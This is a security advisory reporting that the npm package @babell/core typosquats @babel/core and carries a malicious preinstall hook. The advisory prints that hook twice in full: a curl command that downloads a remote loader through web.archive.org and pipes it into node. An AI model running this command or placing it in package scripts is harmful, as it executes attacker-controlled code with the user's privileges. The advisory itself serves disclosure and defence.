MAL-2026-17497 Malicious code in @babell/core (npm)

@babell/[email protected] impersonates @babel/core (it copies the code and metadata of @babel/core) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @babell/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package's package.json defines a preinstall lifecycle script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time. The content fetched is unpinned, served from a non-publisher host unrelated to Babel, and executed with the privileges of the installing user. The package name @babell/core differs from the legitimate @babel/core by a single character, and its description, author, repository, homepage, and README all impersonate the real Babel project, serving as a delivery vehicle for the dropper.